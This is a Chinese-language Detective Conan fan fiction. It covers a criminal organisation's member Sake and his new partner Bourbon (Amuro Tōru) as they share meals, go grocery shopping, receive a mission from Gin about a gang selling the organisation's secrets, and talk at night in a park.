一个穿运动服的中年男人牵着狗走过来。狗是柴犬,毛色发亮,尾巴翘得高高的。再远一点,几个背着书包的孩子说说笑笑地往学校方向走。 普通的早晨。普通的街道。普通的人们。 他收回视线,继续往前走。路过那条柴犬时,他不动声色地往旁边绕远了一点点。 狗主人没有察觉,柴犬也没有。它专心地嗅着路边的草丛,尾巴摇得飞快。 回到公寓,屋内依然静悄悄的,也没有人影。安室透大概还在睡——或者,还在装睡。 谁知道呢。 羽泽熙真将纸袋放在餐桌上,坐下来,拆开一个三明治。 面包松软,散发着烤过的微焦香气。火腿咸香适口,生菜脆生生的。 他慢慢咀嚼着,另一只手摸向放在桌角的那个文件袋。 它是昨晚从目标身上拿到的。那个中层成员私吞物资不是一天两天了,会留下痕迹很正常……只是没想到胆子这么大,连这种敏感的东西都敢留着。 早上他已经看过一遍了,不过里面的东西确实有点意思,值得再看一次。 他用没沾到酱料的手解开封口的线绳,抽出那叠文件。 还没来得及翻开,走廊那边忽然有了动静。 很轻的一声——“咔哒”。门锁的响声。 安室透睡醒了。 紧接着是平稳的脚步声,走向了书房……旁边的次卫。 这间公寓刚好有两个卫生间,主卫在主卧对面,次卫在走廊这一头,平时他很少过去,所以设施简陋一些,不过也能正常使用。 他并不想和安室透共享私人空间,所以只能委屈波本大人去简陋的次卫了。 但如果安室透要长住的话,再重新装修一下也不是不行。 片刻水声过后,一个状态饱满的安室透出现在了羽泽熙真面前。 白色的休闲衬衫,下面是黑色长裤。 安室透整个人看起来清爽利落,像刚从杂志封面上走下来的模特,和昨晚那个敞着衬衫满眼杀气的家伙判若两人。 “早,清酒。” “早。” 羽泽熙真应了一声,放下手里的文件,撑着下巴打量起在他对面拉开椅子坐下的金发青年。 对方极其自然地伸手探向桌上的袋子,取出另一份还温热的早餐,然后朝他点了点头。 “多谢。” 说完就拆开包装,咬了一口。 完全没把自己当外人。 羽泽熙真眨了眨眼,嘴角慢慢弯起来。 “……还在生气啊,安室君?”他好整以暇地看着安室透,“那要不要考虑对我动手?我可以把你的行为归咎于起床气哦。” 安室透不紧不慢地咽下口中的食物。 “那样的话,清理现场会很麻烦。”他抬眼,“而且我没有起床气,也没有在生气。” “真的吗?” “真的。” “哎。”羽泽熙真轻叹了一声,“真是个可惜的决定。” 安室透微微一笑,似乎并不打算继续这个话题,继续吃着。 羽泽熙真将面前的文件推向他。 安室透愣了愣。 “给我的?” “从昨晚的目标身上拿到的。算是意外收获。” “……” 安室透接过,快速翻阅了几页,眉头蹙起又松开。 那是一份资金调动的记录,涉及某次武器交易。买方是一个中等规模的地下军火商,卖方是组织的外围渠道,交易的是一批欧洲过来的制式步枪。 钱从几个不同的账户转进转出,最后汇入一个离岸账户,流程设计得挺复杂,但对安室透来说,这种程度的遮掩一眼就能看穿。 它涉及的一切流程都是真实的,没有任何虚构的成分。任何一个对组织感兴趣的人——比如某些情报机构——拿到它,都能从中挖出不少东西。 “喜欢吗?”羽泽熙真见他读完了前几页,开口问道。 安室透没有回答这个问题,抬头看向那双带着戏谑的金色眼睛。 “为什么要给我这个?琴酒会让你这么做?这种东西,你应该交给他吧?” 三个接连不断的问题,满是疑虑。 羽泽熙真轻轻摇头。 “波本。”他换了个称呼,声音比刚才正经了一些,“朗姆把你安排到我这儿来,是为了什么,你我心知肚明。我不是瞎子,也不是傻子。” 安室透迎着他的目光扬起唇角,但笑意不深。 “他说希望我能适应一线行动,并且协助你。” “就这些?” “……当然,或许也希望我能从你这里学到点东西。毕竟,你在组织里算是相当特别的存在。” 羽泽熙真低低地哼笑了一声。 “‘特别’?这个词我可不太喜欢。” “那换个说法。” 安室透放下了手里捏着的三明治,身体微微前倾。 “你是最受琴酒信任的成员之一,权限比一般人要高,任务 完成率也极高。朗姆当然会注意到你——他也喜欢那样的下属。” “谁信任我?琴酒?”羽泽熙真挑眉。 “嗯。”安室透扬了扬那几张纸,“他连这种东西都交给你处置。” 真有意思,连琴酒都搬出来了。 羽泽熙真笑了笑。 “那是我的收获,确认内容是我的工作,要不要分享情报是我的权利。”他说,“你就当做是熬夜的补偿好了,波本——琴酒可不会相信任何人,你最好也不要随便去招惹他。” 这位新搭档看上去是谁都敢招惹的类型,胆子大的要命。 虽然目前还算懂事,但预防针还是要先打好,如果他莫名其妙惹到前辈头上去…… 羽泽熙真都说到这份上了,安室透自然不会继续推拒这份“补偿”。 这种资金流动在组织内部很常见,朗姆那边的人要查也能查得到,但要理清全部细节却不容易。 不管清酒是什么想法,这份情报的确能他交出一份漂亮的报告,让朗姆那边的人觉得自己“很尽职”。 “那……就多谢清酒大人了。” 他说着,将文件收进桌上的袋子里。然后拿起羽泽熙真放到他手边的咖啡,打开杯盖,抿了一口。 嗯? 他有些惊讶地低头看了看手里平平无奇的白色纸杯。 就是普通便利店最常见的那种,没有任何标志,没有任何特殊之处。他又抿了一口,让那温热的液体在舌尖停留片刻,细细品味。 如果用便利店咖啡的水准来评判,这杯几乎属于等级最高的一档——不,它甚至比大多数连锁咖啡店的都要好。 他抬起眼,看向对面似乎有些走神的黑发青年。 清酒居然能找到这种地方么。 但…… “我们以后,就要一直吃这些东西活着了吗?”安室透问。 羽泽熙真正一边喝咖啡一边神游天外,闻言抬眼。 “嗯?” “你的锅,还有餐具,”安室透回头看向身后的厨房,抬了抬下巴,“它们已经落灰了。” 羽泽熙真的目光顺着他的视线飘过去,落在那片狼藉上。 “呃……” 那边确实是忘记收拾了。羽泽熙真想。不小心暴露了最近的生活习惯啊,超市也还没来得及去。 “你很在意生活质量吗?”他默默收回视线。 安室透耸了耸肩。 “毕竟,组织的任务只是人生的一部分嘛。” 这话倒是挺有意思。 羽泽熙真轻轻抚过挂在脖颈上的吊坠,若有所思。 他见过很多波本这样的人——他们会在做着组织任务的同时,尽心尽力的经营自己的表面身份,一个,或者多个。 这类人通常比一味服从命令的行动人员活得更久,也更容易在组织内部走得更远。 但问题是……眼前这位安室先生,似乎有哪里和普通的组织成员不太一样。 是错觉吗? 他想了想,又觉得无所谓。 这和他有什么关系。 “那你待会有事吗?”羽泽熙真叹了口气,“去附近的超市逛逛,补充物资。” “我们一起去?” “当然。”羽泽熙真有点无奈,“我又不知道你吃什么。” “我不挑食的。”安室透笑了笑,“不过,一起去吧,清酒。” 羽泽熙真哼了一声。 他从口袋翻出一小把钥匙——公寓的大门钥匙——绕过餐桌,把它塞进了安室透手里。 “好的好的——我亲爱的……搭档。” 5. 和安室透补充物资 超市离公寓不远,步行过去大概十分钟。 羽泽熙真走在前面,双手插在口袋里,一顶黑色鸭舌帽扣在头上,他的步伐慢悠悠的。 阳光从头顶洒下来,已经有了点夏日的热度,晒得人犯困。 他打了个哈欠,朝后瞥了一眼。 安室透跟在他身后半步远的地方。 这个距离很有意思。不远不近,既不会显得太亲密,也不会在需要时来不及反应。 他正四下打量着街道两侧的建筑,那视线移动得很自然,但羽泽熙真知道他在做什么——熟悉环境,标记路线,记住每一个可能的出口和藏身处。 职业病啊。 “你有什么忌口吗?”羽泽熙真问。 安室透回神。 “没有。” “那,有什么特别爱吃的?” “也没有。” “……” 好敷衍啊,这个人。 羽泽熙真没再追问,他抬手压了压帽檐,慢吞吞地晃进超市的大门。 这是一家规模不小的连锁超市,门口停着几排购物车,不断有人从里面出来,推着满满当当的车子,大包小包地往后备箱里塞。 羽泽熙真抽了一辆购物车塞进安室透手里,自己径直穿过一整排零食货架,往最里侧的生鲜区走。 零食那些,他平时不怎么吃。偶尔执行完任务回来累得不想动,他会在便利店随手抓一包薯片或者巧克力,但也就那样了。 安室透要是想要可以自己拿,反正推车在他手里。 他一边走一边在心里默默列着清单。 酱油好像见底了。上次做饭还是两周前,那瓶酱油本来就没剩多少,用完忘了买。一会儿要拿一瓶。 还有咖喱,味增…… “你经常来这里吗?”乖巧跟在后面的安室透问。 “偶尔吧。” 羽泽熙真停下脚步,拿起一盒西红柿,看了看底部的标签,放回原处,又拿起另一盒。 “以前一个人住的时候,随便对付一下就行。现在……” 安室透接话:“现在多了一个人。” 羽泽熙真偏头看他,帽檐的阴影下,那双金色的眼睛弯了弯,是一个带着点促狭意味的笑。 “你倒是有自知之明。” 他将那盒西红柿放进购物车,又拿起一袋土豆在手里掂了掂。 袋子里的土豆大小均匀,表皮光滑,没有发芽的迹象。他满意地点了点头,扔进购物车,继续往前走。 “你平时都吃什么?”他头也不回地问。 “什么都吃。” “具体点。” 身后传来一声轻笑,几乎被超市的背景音乐盖住。 “……和食偏多吧。”安室透说,“不过西式的也能接受。” “喔。” 羽泽熙真拿起一颗香菇,对着灯光看了看,又放下。 “辣椒吃吗?” “吃。” 能接受调味品。 “鸡蛋?” “可以。” 大概不过敏。 “培根?” “行。” 好养活。 他一路走一路问,安室透一路点头。购物车里的东西渐渐多了起来——蔬菜,水果,肉类,还有一些速食产品塞在缝隙里。 羽泽熙真在调味品的货架前停下。 两种咖喱块并排摆在一起。左边的是常见品牌,价格便宜,味道中规中矩,他以前买过很多次。右边的是进口货,贵了将近一倍,但据说香料更足,口感更丰富。 他左手拿起一盒,右手拿起另一盒,举到眼前对比。 就在他犹豫的时候,身后忽然传来一个声音。 “你会做饭啊,清酒。” 羽泽熙真疑惑地回头:“……?” 那不然呢? 我刚刚挑了半天的食材,是准备回去拌沙拉吗。 等等,难道说—— “你……”他微微睁大了眼睛,看着身旁一路听话的不得了的金发青年,“不会做饭?” 安室透没有回答。 他只是站在那里,双手搭在购物车上,用那种坦然的、没有任何心虚的目光,回望着羽泽熙真。 沉默持续了三秒。 五秒。 八秒。 羽泽熙真缓缓放下手里那盒贵一点的咖喱块。 “会一点。”安室透说。 “……一点是多少?” “就是……一点。” 安室透想了想,补充:“泡面。煎蛋。偶尔能把米饭煮熟。其他的……” 他摊开手。意思是“你懂的”。 羽泽熙真表情复杂。 “你是认真的?” “我很认真。” “你是情报组的精英,”羽泽熙真左右看了看,压低声音,“任务完成率A+,朗姆亲自点名要的人——你不会做饭?” 安室透微微一笑。 “这两者之间有关系吗?” “……” 羽泽熙真转过身,把另一块咖喱——那盒便宜一点的——扔进购物车里。 “行。”他平静地说,“我知道了。” 安室透推着车,不远不近继续地跟着他。 “所以以后的饮食……” “我负责。” 羽泽熙真从货架上拿下一瓶酱油,放在那堆食材的最上面。 “你就负责吃。” “那多不好意思。”安室透说。 羽泽熙真回过头,瞥了他一眼。 那眼神里写着明明白白的几个字: ——你根本没有不好意思。 安室透笑了笑,没敢吱声。 两人继续在超市里转悠,生鲜区和收银台中间刚好是生活用品的区域。 大提的纸巾在打折。羽泽熙真看了一眼那个巨大的包装,又看了一眼安室透推着的购物车,想了想,没拿。 今天没开车,靠两只手拎回去太费劲了。 保鲜膜,洗洁精……啊,对了。 “明天我找人来,再装一台洗衣机。”他对安室透说,“你喜欢什么样的?” 安室透愣了一下,似乎没想到他会问这个。 “嗯……”他想了想,“和你一样的就可以。” “那就装在阳台。” “好的。” 羽泽熙真觉得自己就多余问这几句,反正说什么都是“可以”。 希望他是真的可以,不要之后又开始挑刺。不然的话,他会让他原地滚出去。 到了洗护区域,安室透终于有了主动要买的东西。 他站在洗发水的货架前,目光在一排排瓶子之间移动。那些瓶子有不同颜色、不同形状、不同品牌,每一瓶上都写着各种天花乱坠的功效词。 他挑了好半天。 羽泽熙真不知道他在犹豫些什么。洗发水这种东西,不都是差不多的吗?挤出来,搓出泡沫,冲掉。有什么区别? 但他也没问,默默靠在旁边的货架上,看着安室透走来走去。 洗发水之后是护发素,再之后是沐浴露,都是一些基础的清洁用品——可能他觉得太沉就没自己带来,也可能是想趁机换一批新的。 挑完这些,安室透又去拿了一套剃须刀。 购物车里的东西已经摇摇欲坠了,他们才终于走去结账。 好在队伍不算很长。 羽泽熙真站在队尾,百无聊赖地扫视着四周,安室透依然负责推着那辆满满当当的购物车,站在他身侧。 前面是一对老夫妇,头发都已经花白,穿着朴素的衣服。老太太正拿着收银台旁边摆着的特价饼干,和老伴小声商量着什么。老先生点点头,老太太就把饼干放进购物篮里。 再前面是一个带着两个孩子的年轻父亲。大的那个大概四五岁,小的那个还坐在购物车里。年轻父亲正手忙脚乱地从购物车里往外拿东西,一边拿一边哄那个小的不要哭,一边还要阻止那个大的从货架上拿棒棒糖。 手机在口袋里微微震动,羽泽熙真摸出来看了一眼。 【下午四点来3号据点,带上波本。——Gin】 下午四点……还早。 【收到。——Sake】 他又锁屏,把手机收回口袋。 就在这时,一个小孩忽然从旁边的通道冲了出来。 大概五六岁的年纪,跑得飞快。他一边跑一边回头看,不知道在 看什么,根本没注意前面的路。 但地板太光滑了。 他的脚下一滑,整个人往前扑去—— 啪叽。 他摔在了地上。 那声音挺响的,周围几个人都转过头来看。前面那对老夫妇也回过头,老太太脸上露出心疼的表情,嘴里小声说着“哎呀哎呀”。 羽泽熙真愣了愣。 他低头看着那个坐在地上的小孩,没什么表情。 小孩似乎被摔懵了,呆呆地坐了两秒,然后低头看了看自己磕红的手掌。不知道是摔疼了还是只是吓到了。 然后他的嘴巴一瘪—— “呜……” “没事吧?” 安室透已经蹲了下去。他一只手轻轻扶住小孩的肩膀,另一只手撑在膝盖上。 “摔疼了吗?” 他的声音很温和。 小孩眨眨眼,那声“呜”卡在喉咙里,变成一声小小的抽噎。 “……没有。” “那就好。”安室透笑了笑,“膝盖疼不疼?” 小孩摇了摇头。 “手呢?” 小孩低头看了看自己的手,又摇了摇头。 “真棒。”安室透说,“能站起来吗?” 小孩点点头。安室透扶着他的肩膀,帮他站起来。小孩站得很稳,只是眼眶还红红的,像一只受惊的小动物。 “以后不要跑那么快,好不好?”安室透平视着小孩的眼睛,“地很滑,再摔一跤会疼的。” 小孩又点点头,然后回头看了一眼—— 一个年轻女人从通道那头急匆匆地跑过来,满脸歉意。 “抱歉抱歉!这孩子跑得太快了,我没看住。没撞到你们吧?” “没有。”安室透站起身,“孩子应该没事,不用担心。” 女人松了口气。 “小健,快跟叔叔说谢谢!” “谢谢叔叔!”小孩乖乖地说。 安室透弯下腰,伸手轻轻揉了揉小孩的头发。 “不客气。下次小心点。” 女人拉着小孩的手走了。小孩一边走一边回头,朝安室透挥了挥手。 安室透也挥了挥手。 然后他转过身,发现羽泽熙真正盯着他看。 安静地,专注地。 “……怎么了?”安室透问。 羽泽熙真移开了目光。 刚好轮到他们结账,他把安室透留在原地的购物车往前推了推。 别说,还挺沉的。 真是辛苦一路上一声没吭的安室叔叔了。 哈,叔叔。 安室透今年多大来着……羽泽熙真想了想,好像是比自己大三岁吧。二十四左右。 收银员是个年轻姑娘,扎着马尾,动作麻利。她扫着那些东西,偶尔抬头看一眼站在收银台前的两个人。 一个戴着黑色鸭舌帽的黑发青年,懒洋洋地靠在一边,双手插在口袋里。帽檐压得很低,看不清他的眼睛,只能看见线条利落的下半张脸和唇角那点若有若无的弧度。 另一个是金发的男人,肤色比一般人深一些,五官深邃,长得很好看。他正从购物车里往外拿东西,一件件码在收银台上 “两位一起付吗?”她问。 “一起。”安室透说。 羽泽熙真偏头看他一眼。 安室透已经掏出了钱包,抽出一张卡递过去。 “我来就好。” 羽泽熙真没有和他争。 收银员的动作很快,但东西实在太多了,一样一样从收银台上滑过,被装进袋子里。那些袋子鼓鼓囊囊的,装满了一个又换一个,最后装了满满四个大袋子。 她将袋子提到收银台边上,有些为难地看了看两人。 “需要帮忙吗?我们可以配送,只要留个地址……” “不用。”羽泽熙真上前一步。 他弯下腰,一手一个,毫无压力地拎起两个袋子。那里面的东西很沉,有酱油、有洗洁精、有洗发水,但他拎起来的时候,就好像拎的是两袋棉花。 他直起身,看向安室透。 “走吧。” 安室透笑了笑,把剩下的两个袋子拎起来,跟了上去。 6. 朱雀(1)三号据点与琴酒 下午的温度反而降下来了不少,太阳被云层遮住大半,外面刮着凉嗖嗖的风。 不过这对羽泽熙真出门的装束没什么影响——不管冷了还是热了,他都穿着长袖长裤,区别大概只是微调一下厚度而已。 他一只手搭在方向盘上,稳稳地开着车,偶尔瞥一眼副驾驶座——安室透坐在那里,坐得很端正,背脊挺直,目视前方。 他们刚从公寓出来没多久,正往三号据点的方向开。 三号据点,听起来像是“第三个被创建的据点”的意思,但其实并不是。 组织对于命名的风格很多样,据点叫什么只取决于当时第一个使用它的人的心情。有的叫“枫叶”,因为命名的人那天在路上看见了一片很红的枫叶。有的叫“地下室”,因为那真的是个地下室。有的叫“随便”,因为命名的人懒得想。 乱七八糟什么都有。 而这个无聊的名字,就是琴酒取的。 羽泽熙真第一次听到这个名字的时候,还以为后面会有四号五号六号,结果问了才知道,根本没有。就只有三号。问琴酒为什么。结果琴酒说,因为那天的日期刚好是三号。 行吧。 无趣归无趣,那个据点的确好用。 表面上看起来是废弃仓库,实际上被用作临时集会和物资中转的地方。羽泽熙真去过很多次,闭着眼睛都能开到。 “你在往郊区开。”安室透忽然开口。 羽泽熙真从鼻腔里“嗯”了一声,算是回应。 “琴酒说四点到,你三点半才出门。据点很近吗?” “不算太远。” “那,你知道是什么事吗?” “不知道。”羽泽熙真说,眼睛依旧看着前方的路,“到了就知道了。” 安室透偏过头看他。 阳光落在羽泽熙真的侧脸上。他的表情很平淡,看不出什么情绪。 “你不好奇?”安室透问。 “不好奇。” 羽泽熙真抬起那只空闲的手,漫不经心地拽了拽脖颈上的绳子。水滴形的吊坠被从领口扯出来,在光线下晃了晃,又落回去。 “反正前辈叫我去,不是有任务就是有麻烦。”他说,“有任务就做,有麻烦就解决。提前知道也没用。” 安室透轻轻笑了笑,收回视线。 “说得也是。” 车子继续往前开。窗外的街景从商业区慢慢变得荒凉起来——店铺少了,行人少了,路边的建筑开始出现一些破旧的厂房和仓库。 安室透沉默了一会儿,又随口找了个话题。 “……既然你都管琴酒叫‘前辈’,为什么不让我叫你‘前辈’?” “嗯?” 羽泽熙真看了他一眼,反应过来后失笑。 “啊……因为我和他是不平等关系。” “不平等关系?” 羽泽熙真煞有介事地点头。 “他每天都在压迫我干活,叫声前辈怎么了?”他轻哼一声,“你要是也想这么叫我的话,就直说嘛。我也可以尽职尽责地压迫你哦。” “那还是不了,”安室透耸耸肩,“平等关系挺好的。” 羽泽熙真弯了弯眼睛,打了一把方向盘,拐进一条狭窄的巷子。巷子两边是高高的围墙,墙头上拉着生锈的铁丝网,光线被两侧的建筑遮挡,显得有些昏暗。 他放慢了车速,最后在一扇生锈的铁门前停下。 “到了。” 三号据点。 从外面看,这只是一个废弃的仓库——墙皮缺东少西,几扇窗户被木板钉死,墙角长满了杂草,有的草已经长到半人高,在风里轻轻摇晃。 羽泽熙真带着安室透下车,走到门前,轻轻在门板上敲了三下。 他退后一步,静静等着。 铁门上那个不起眼的小窗从里面被拉开,一双眼睛出现在窗口。 那双眼睛在羽泽熙真脸上停留了几秒,又扫过他身后的安室透,然后小窗“啪”地合上。 紧接着,铁门发出一阵刺耳的嘎吱声,从里面被拉开。 门后站着一个穿着黑色工装的男人,身材壮实,面无表情。 “清酒大人。” 羽泽熙真抬脚走了进去。 仓库里的景象和外面完全不同。 大厅虽然没怎么装修过,但打扫得很干净,空间也很宽裕。 靠墙的位置摆着几张折叠桌,桌上放着几台电脑和一些通讯设备,电线被整齐地捆扎好,沿着墙根走。 毕竟是临时据点,平时人也不多,现在只有三两个人在这,都是熟面孔。 角落里,一个穿着留着长马尾的女人正蹲在地上整理物资,听见动静抬起头,朝羽泽熙真挥了挥手。 另一个坐在折叠椅上抽烟的男人,把桌上的烟盒捞起来,对着他扬了一下。 “来一根?” 羽泽熙真摇了摇头,表示不用。 走廊尽头的门半掩着。他推门而入,里面站着两个人。 琴酒依旧是那身标志性的黑色风衣,领口竖着,遮住半边下巴。银色的长发从礼帽下垂落,披散在肩上。 他站在屋内的长桌前,手里夹着一根点燃的烟,烟灰积了一小截,摇摇欲坠。 伏特加站在他身侧,咧嘴笑了笑。 “清酒,来了啊。” 羽泽熙真“嗯”了一声,朝他笑笑,然后看向琴酒。 “前辈。” 琴酒抬起眼。 “坐吧。” 桌边摆着椅子。羽泽熙真拉开一把坐下,安室透也坐在了他旁边。 伏特加走到门边,把门关上了。 琴酒吸了一口烟。 火光在烟头亮了一下,然后暗下去。他缓缓吐出烟雾,那些灰白色的气体在空气中散开,飘到羽泽熙真面前。 “新宿那边,最近冒出来一个地下势力。”琴酒开口,“‘朱雀组’。表面上是个做娱乐生意的公司,实际上控制着几个会所和酒吧。规模不大,但扩张得很快。” 他弹了弹烟灰。 “三天前,我们得到消息——他们在兜售组织的情报。” 组织的情报? 羽泽熙真皱了皱眉,下意识地坐直了一点。 “什么情报?” “还不清楚。”琴酒说,“只知道他们在接触几个买家,开的价很高。具体卖了什么,卖给谁,还没有查实。” “你和波本,一起去确认这件事。” 羽泽熙真点了点头,沉吟着。 组织的情报。这个概念太宽泛了,是关于什么?人员名单?行动记录?交易信息?还是更核心的东西? 会是谁传出去的? “主要目标是谁?”他问。 “朱雀组的组长,叫神谷诚。”琴酒从桌上那一堆文件里挑出一张,递了过来。 那是一张照片,上面的男人大约四十岁,穿着深色的和服,头发梳得一丝不苟,脸上带着公式化的笑容。他的眼睛细长,眼神精明,一看就是个不好对付的角色。 “他的场子集中在歌舞伎町那一带。”琴酒继续说,“你们需要确认他手里到底有没有我们的情报,是谁给他的,他想卖给谁。” 羽泽熙真很快记下了神谷的面部特征,又把那张照片递给了安室透。 安室透接过,目光在照片上停留了几秒,随后慢慢把照片放在桌上。 “怎么确认?”他问。 琴酒瞥了他一眼。 “那是你们的事。” “……” 安室透莫名其妙被他呛了一句,但又不好发作,抿了抿唇,点头表示明白。 “咳。” 羽泽熙真忽然清了下嗓子,其余几人都看了过来。不过他并不是真的不舒服——前辈,你针对波本针对的太明显了吧。待会儿有人告状怎么办。 好吧,他大概也不怕这个。 “……前辈,我们需要做到什么程度?”他问。 是只需要查清楚,还是需要“处理”掉? “先查。”琴酒说,“查清楚了再说。” 他的声音比刚才缓和了一点,恢复到了正常的温度,只剩下惯常的冷淡。 羽泽熙真点了点头。 前辈今天的心情是真的很差啊。他想。是因为什么?这个任务?还是……伏特加大概是觉得气氛有点僵,在旁边插话:“那个神谷诚,最近每天晚上都在他自己的会所里待着。那地方叫‘朱雀’,在歌舞伎町最繁华的那条街上,是个高级会所。客人都是有点身份的人,一般人不让进的。” “会员制?” “对。”伏特加说,“得有会员介绍才能进去。你们俩需要帮忙吗?” 羽泽熙真向身旁的安室透投去一个询问的眼神。 “不需要。”安室透笑笑。 “波本说不需要。”羽泽熙真转过头,“他能搞定。” 伏特加看了看他,又看了看安室透,脸上的表情变得有点微妙。 很难形容。他的嘴角好像往上翘了一点,又好像没有;眼睛里好像亮了一下,又好像没有;整个人好像想说什么,又好像什么都没想。 羽泽熙真没看明白。 但他也没多想。伏特加最近本来就有点怪怪的,大概不是什么大问题。 “所以说,现在有多少能用的信息?”他问。 琴酒拿起了桌上的几页纸,捏在一起,在桌上顿了两下,对齐边角,归拢好之后随手扔在他面前。 “都在这里了。” 羽泽熙真低头一张张展开——几张照片,几页打印的资料,一张手绘的会所内部结构图。 他正看着,身旁忽然凑过来一个脑袋。 安室透靠了过来。 不过他没有靠得太近,只是稍微偏过身体,安静地看着。 羽泽熙真把资料往他那边偏了偏。 资料很详细。神谷诚的背景、朱雀组的组织结构、会所的位置和营业时间、几个常去的客人的信息……看得出情报组花了不少功夫。 羽泽熙真一边看,一边在心里默默记下关键信息。 “对了,前辈。”他忽然想起什么似的抬起头,“这次任务不叫上苏格兰吗?万一现场有什么变数,有个远程掩护也方便。” 琴酒瞥了他一眼,语气淡漠:“苏格兰最近有事。” 唔……有事。 羽泽熙真挑了挑眉,没有再继续这个话题。 他本来也只是随口一提,毕竟这任务的核心还是潜入而不是正面交战,狙击手的作用确实有限。 只不过,有段时间没见到苏格兰了。可惜。 坐在一旁的安室透表情没有任何变化,但在心里默默记下了“苏格兰”这个代号。 这个代号他以前听说过,但在他能看到的档案里,关于这个人的信息很少。 他只知道那人是男性,属于琴酒的行动组派系,应该是个狙击手,完成过几次任务,评价还不错。 从琴酒的语气来看,应该是已经正式在组织内立足的成员。 他想起自己之前的调查。就像他自己一进组织就被朗姆那边要走一样,苏格兰似乎是清酒亲自带出来的人,进入组织后一直跟着清酒行动。如果这个信息没错,那苏格兰应该是清酒的直系下属,两人合作过很多次。 而且,能让清酒主动提起要带上,说明他们的关系不一般。 ——这倒是个值得注意的情报。 “组织不希望这件事闹得太大,”琴酒冷冷道,“你们两个——” 他顿了顿,目光停留在安室透脸上。 “别搞砸了。” 他的视线没有移开,就那样盯着安室透,盯着那个从进门到现在一直保持着完美表情的金发青年。 安室透抬起眼,对上他的视线。 “请放心。”他笑道。 琴酒没有再多说什么,带着伏特加离开了房间。 那扇门打开,又关上。 “砰”的一声轻响。 房间里只剩下他们两个人。 气氛突然松快了一些,那种被什么东西压着的感觉消失了。 羽泽熙真丢下文件,整个人靠在椅背上,舒了一口气。 “不希望闹太大啊……” 他笑盈盈的看向一边的人,伸出手。 “那就合作愉快,搭档。” 安室透愣了一下,但很快反应过来,也握住了他的手。 “啊,合作愉快。” 7. 朱雀(2)夜谈 清晨的街道很安静。这个时间点,上班族还没出门,遛狗晨跑的人也没经过,只有远处偶尔传来一两声清脆的鸟叫。 羽泽熙真站在公寓楼下,靠在墙边,打着哈欠。 来安装洗衣机的人大概六点到。现在是五点五十二。 眼角渗出一点生理性的泪水,他用手指蹭了一下,继续靠在墙上发呆。 ……安室透那个家伙。 晚上不睡觉的。 —— 昨天他们从据点回到公寓,已经是傍晚了。夕阳从西边照进来,把地板染成一片暖橙色。 羽泽熙真把琴酒给的那叠资料往茶几上一扔,然后去厨房做饭。 两菜一汤。凉拌菠菜,炸猪排,豆腐味噌汤。都是家常菜,没什么特别的,但做起来快,吃起来也舒服。 他把菜端上桌,盛了两碗米饭,在安室透对面坐下。 “吃吧。” 安室透点了点头,双手合十。 “我开动了。” 他夹了一筷子菠菜,放进嘴里,慢慢咀嚼着。 然后他垂下了眼帘,像是忽然想到了什么。 羽泽熙真没在意。他自己也饿,低头吃着,偶尔夹一筷子菜,偶尔喝一口汤。炸猪排外酥里嫩,蘸着酱汁很好吃。菠菜的调味刚刚好,不咸不淡。 吃完饭是安室透主动去洗的碗。之后他们又研究了会儿资料,把能想到的可能性都聊了一遍,直到晚上十点多才结束。 羽泽熙真把资料收起来,正准备去浴室,安室透忽然站了起来。 “我出门一趟。” “嗯?你有任务?” “私事。”安室透想了想,“可能晚一点回来。” 好的。 私事。 可能是真的私事,可能是和任务有关但不想说的私事,可能是去见某个人不想被知道的私事。也可能是——就是不想告诉你。 羽泽熙真不打算追问。 每个人都有自己的私事,他也一样。他们只是搭档,不是连体婴,没必要什么都过问。 等他洗完澡出来的时候,公寓里已经没有那个金发青年的影子了。 他自己忙了会儿自己的事。整理了这几天的任务记录,又检查了一遍随身携带的装备,然后在卧室的书架上拿了本书,靠在床头看。 书是前几天刚买的,讲的是某次战争中的情报战,写得还不错,有一些案例挺有意思。他看着看着,就忘了时间。 一抬头,挂钟的时针落在了数字一上。凌晨一点了。 安室透还没回来。 可能是私事比较麻烦,可能是在路上耽误了。 有很多可能,但都和他没关系。 羽泽熙真低下头,继续看着手里的书。 一点半。 两点。 两点十五。 ……不会是出事了吧。 这个念头一冒出来,他就觉得有点荒谬。安室透又不是什么需要人操心的新手,怎么可能随随便便出事?八成只有他让别人出事的份。 但既然都想起来了…… 他摸出手机,点开和安室透的聊天界面。 上一次消息还是昨天下午,他发的那句“三点半出门”,安室透回了个“好”。 他想了想,敲了几个字。 【还回来么?】 发送。 等了大概一分钟。两分钟。三分钟。一条消息弹出来。 是一个坐标。 坐标的位置不算太远,离公寓大概二十分钟车程,在杯户町和米花町交界的地方,靠近一条河。那个地方他知道,有一个小公园。 羽泽熙真盯着那个坐标看了几秒。 ……这是在求救吗,还是什么邀请?或者只是在表达“我在这里”? 他不知道。 但他知道,正常人不会在凌晨两点多发一个坐标给室友,然后什么都不说。 他把书一扔,下了床开始穿衣服。 按道理他没必要去。安室透是成年人,自己的事可以自己处理。 但出于一些人道主义关怀,深觉自己不该多嘴的羽泽熙真还是出门了。 他开着车过去,路上几乎没什么人,只有几辆出租车从他旁边驶过,亮着空车灯,慢悠悠地开向不知道什么地方。 公园的入口很不起眼,藏在两栋居民楼之间。他把车停在路边,沿着石板路走进去。 夜里的公园很安静,偶尔有风吹过,树叶沙沙作响。白天的时候,这里会有老人来散步,会有小孩来玩耍,但此刻,这里空无一人。 路灯隔得很远,中间的路段黑漆漆的,只能借着月光看清脚下的路。那些没有被灯光照到的地方,仿佛藏着什么东西,随时会从暗处冒出来。 他走了大概五分钟,终于看见了安室透。 安室透坐在河边的长椅上,两条腿随意地伸着,仰着脸,看着头顶那片被路灯照亮的树叶。 羽泽熙真可以肯定安室透发现了自己的存在,他没怎么收敛脚步声,在这样安静的夜里,不可能听不见。 但那人一动没动,就那样坐着,恍若未觉。 “……你怎么来了?” 哦,嘴巴还能动。 羽泽熙真在他旁边站定,低头看着他。 “你发了个坐标,我以为你在求救。” 安室透轻轻笑了一声。 “没有。”他说,“就是……” 他顿了顿,没有继续说下去。 “……我还以为你会直接忽略。”安室透说。 “本来想忽略的。”羽泽熙真在他旁边坐下,“但后来想想,万一你真的出事了呢。” 长椅有点凉。他往后靠了靠,双手插在口袋里,也抬起头看着夜空。 没有星星。城市的光太亮了,把星星都遮住了。 没人说话。就这样过了很久,安室透忽然开口。 “你做的饭很好吃。” 羽泽熙真愣了一下。 他觉得安室透没说完,但半天都没等到下文。 “……谢谢?” 他有点不确定地回应。 安室透低头看向了前方的暗处。那里是河的方向,但什么都看不见,只有一片漆黑和隐约的水声。 “味道……有点熟悉。”他说,“让我想起一个人。一个……很久没见的朋友。” 羽泽熙真不知道该说什么。 这种时候,说什么好像都不太对。 